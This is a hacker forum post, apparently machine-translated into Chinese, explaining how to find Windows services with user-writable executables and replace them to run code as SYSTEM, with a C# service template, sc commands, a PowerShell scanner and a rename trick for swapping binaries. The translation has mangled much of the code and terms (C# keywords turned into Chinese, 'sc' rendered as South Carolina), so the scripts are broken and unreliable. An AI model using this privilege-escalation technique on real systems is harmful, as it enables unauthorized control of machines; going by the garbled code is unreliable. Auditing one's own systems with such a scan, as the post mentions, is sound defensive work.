跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

使用PowerShell寻找可写的Windows服务

精选回复

发布于

0x00 前言

我从DidierStevens的博客里学到了一些技巧。本文将对所涉及的技巧进行测试和总结,并开源一个powershell脚本来寻找可替换的服务,实现自动利用。

DidierStevens的博客链接:

https://blog . Didier Stevens . com/2017/09/05/滥用可写窗口服务/

0x01 简介

本文将介绍以下内容:

用c#编写可被Windows服务调用的程序

psexec参数的使用技巧

Sc命令使用技巧

通过powershell获取服务对应的可执行文件路径。

使用自动化脚本开发细节。

0x02 使用c#编写可供Windows服务调用的程序

能被Windows服务调用的程序需要能和SCM(服务控制管理器)交互,所以编程要注意。

Didier Stevens在博客中给出了一个用c#开发的模板,代码如下:

使用系统。ServiceProcess

命名空间演示

{

公共类服务:ServiceBase

{

受保护的覆盖void OnStart(string[] args)

{

系统。diagnostics . process . start(' cmd . exe ');

}

}

静态类程序{ static void Main() { ServiceBase。run(new Service base[]{ new Service()});} }

}

因为是c#代码,所以可以直接用csc.exe编译。

所以在实际使用过程中,不需要提前编译exe,只需要上传cs脚本,然后用csc.exe编译成exe即可。

0x03 sc命令使用技巧

所有服务的查询列表:

sc查询

查询服务配置信息:

Sc qc服务名称

创建服务:

sc创建测试类型=own binpath=c:\test\test.exe

删除服务:

Sc删除服务名

0x04 通过powershell获取服务对应的可执行文件路径

迪迪埃史蒂文斯(Didier Stevens)在博客中说,他的朋友找到了一个可写的Windows服务,只需要普通用户权限,所以他很自然地想到了我们自己能否找到这个服务。

Sc查询可以列出所有的服务名,然后通过sc qc服务名查询该服务对应的可执行文件路径。

示例:sc qc事件日志

如下图所示,eventlog服务的可执行路径为C:\ windows \ system32 \ svchost.exe。

2-1.png

可以手动找到每个服务对应的可执行文件路径,看看有没有符合要求的路径(也就是普通用户可以写的权限)。

当然,这个过程耗时耗力,最好通过编程来实现。

在Windows系统下,最简单高效的开发语言是powershell,所以我们决定用powershell来实现自动判断。

但是命令sc不能直接在ps中运行,ps会将其作为set-content的别名。

注:

您可以使用sc.exe在ps中运行sc命令,例如sc.exe的QC事件日志。

解决方法:

调用WMI来实现,代码如下:

get-wmio object win32 _ service |选择名称,路径名

如下所示,可以列出服务和相应的可执行路径。

2-2.png

0x05 自动化利用脚本开发细节

下面描述自动化脚本的开发细节,思路如下:

枚举服务的路径和对应的可执行文件后,提取每个路径,确定该路径是否有普通用户可以写的权限。

1、获取所有可执行文件路径

get-wmio object win32 _ service |选择名称,路径名

2、将可执行文件路径转换为数组

$ out=(Get-wmio object win32 _ service |选择路径名)

$out|% {[array]$global:path=$_。路径名}

数组范围:

$out[0]到$out[($out。计数-1)]

如下图

2-3.png

3、截取路径,显示单个数组的文件夹

$ out[0]. pathname . substring($ out[0]. pathname . index of any(' C '),$ out[0]. pathname . lastindexofany('))

如下图

2-4.png

4、为了格式统一,将字符串都转换为大写

$out[0].PathName.ToUpper()。substring($ out[0]. pathname . toupper()。IndexOfAny('C '),$out[0].PathName.ToUpper()。LastIndexOfAny(' '))

5、枚举所有截取过的文件夹

使用foreach循环:

foreach(项目输入$输出)

{

$item。PathName.ToUpper()。子串(item。PathName.ToUpper()。IndexOfAny('C '),$item。PathName.ToUpper()。LastIndexOfAny(' '))

}

如下图

2-5.png

您也可以使用for循环:

for($ I=0;$i -le $out。count-1;$i)

{

$out[$i].PathName.ToUpper()。substring($ out[$ I]. pathname . toupper()。IndexOfAny('C '),$out[$i].PathName.ToUpper()。LastIndexOfAny(' '))

}

6、获取文件夹权限

$a=$out[$i].PathName.ToUpper().子串($ out[$ I]。路径名。图珀().IndexOfAny('C '),$out[$i].PathName.ToUpper().LastIndexOfAny(' '))

get-Acl-Path $ a |选择所有者

以下三个权限代表管理员权限,不符合要求:

西北地区(Northwest Territories)授权\系统

西北地区(Northwest Territories)服务\可信安装程序

内置\管理员

因此要对其剔除,剩下的权限代表当前用户,对应代码为:

if(a . Owner-ne ' NT AUTHORITY \ SYSTEM)){

if($ a . Owner-ne ' NT SERVICE \ trusted installer)){

if(a . Owner-ne ' BUILTIN \ administrator s '){

$a。所有者

}

}

}

7、筛选符合条件的服务后,重新查找,找到当前用户权限对应的服务名称和路径

get-wmio对象win32 _ service |?{$_.类似路径名的$out[$i].路径名} |选择名称,路径名

8、如果在系统未找到可利用的服务,脚本会报错,提示不能对 Null 值表达式调用方法

如下图

2-6.png

使用$ ErrorActionPreference=' silent ly continue '隐藏错误信息,错误信息写入$错误变量

综上,对输出格式进行优化,完整代码如下:

$ ErrorActionPreference=' silent ly continue '

$ out=(Get-wmio对象win32 _ service |选择路径名)

$out|% {[array]$global:path=$_ .路径名}

for($ I=0;$i -le $out .count-1;$i)

{

$ a=Get-Acl-Path $ out[$ I]。路径名。图珀().子串($ out[$ I]。路径名。图珀().IndexOfAny('C '),$out[$i].PathName.ToUpper().LastIndexOfAny(' '))

if(a . Owner-ne ' NT AUTHORITY \ SYSTEM)){

if($ a . Owner-ne ' NT SERVICE \ trusted installer)){

if(a . Owner-ne ' BUILTIN \ administrator s '){

get-wmio对象win32 _ service |?{$_.类似路径名的$out[$i].路径名} |选择名称、路径名、进程身份证,启动模式、状态、状态

写主机所有者:$a。所有者

}

}

}

}

写主机[ ]全部完成。

0x06 实际测试

1、手动创建服务Test

南卡罗来纳州创建测试类型=own binpath=c:\test\test.exe

2、编译生成exe

使用系统100 . service process。

命名空间演示

{

公共类服务:服务基础

{

受保护的覆盖void OnStart(string[] args)

{

系统诊断。过程。开始('计算。exe’);

}

}

静态类程序{ static void Main() { ServiceBase .run(新服务库[]{新服务()});} }

}

保存为测试。铯

使用csc.exe编译:

C:\Windows\Microsoft .NET \ Framework \ v 4。0 .30319 \ CSC。exe测试。铯

生成test.exe

3、启动服务

南卡罗来纳州启动测试

查看进程,能够看到calc.exe进程启动,权限为系统,如下图

3-1.png

4、替换test.exe

在实际情况,如果没有获得管理员权限,那么无法启动和停止服务

如果不停止服务,就无法直接删除exe,提示拒绝访问

但可以将该文件重命名,相当于变相删除该文件,将新文件再命名为test.exe

将test.exe改名为test2.exe

这样就可以在不停止服务的情况下实现文件替换,如下图

3-2.png

5、重启服务

南卡罗来纳州停止测试

南卡罗来纳州启动测试

当然,该操作需要管理员权限

6、psexec的-i参数使用技巧

由于服务启动的可执行程序的扩展名为系统权限,默认为会话0,而用户界面为第一次会议,所以看不到启动的可执行程序的扩展名界面

可通过psexec指定启动可执行程序的扩展名的会话,这样就能获取到程序界面

测试。铯修改如下:

使用系统100 . service process。

命名空间演示

{

公共类服务:服务基础

{

受保护的覆盖void OnStart(string[] args)

{

系统诊断。过程。start(@ ' c:\ test \ psexec。',@ '-接受EULA-d-I 1计算。exe’);

}

}

静态类程序{ static void Main() { ServiceBase .run(新服务库[]{新服务()});} }

}

停止服务:sc停止测试

删除文件:德尔test.exe

编译文件:C:\Windows\Microsoft .NET \ Framework \ v 4。0 .30319 \ CSC。exe测试。铯

将psexec保存在c:\test

启动服务:sc启动测试

此时,能够看到系统权限calc.exe的界面,如下图

3-3.png

7、使用powershell脚本扫描

如下图,标记出服务命令和可供替换的路径,便于进行替换

3-4.png

该脚本能够自动判断当前系统是否存在可供利用的服务

0x07 小结

如果找到了一个普通用户权限可写的Windows操作系统操作系统服务,对其可执行文件进行替换,那么在服务重启后,就能以系统权限执行替换后的文件,可用作提权。

本文中的开源脚本可以用来自动查找当前系统中是否存在普通用户可以编写的Windows服务。从维护者的角度来看,您也可以使用这个脚本来测试您自己的系统。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。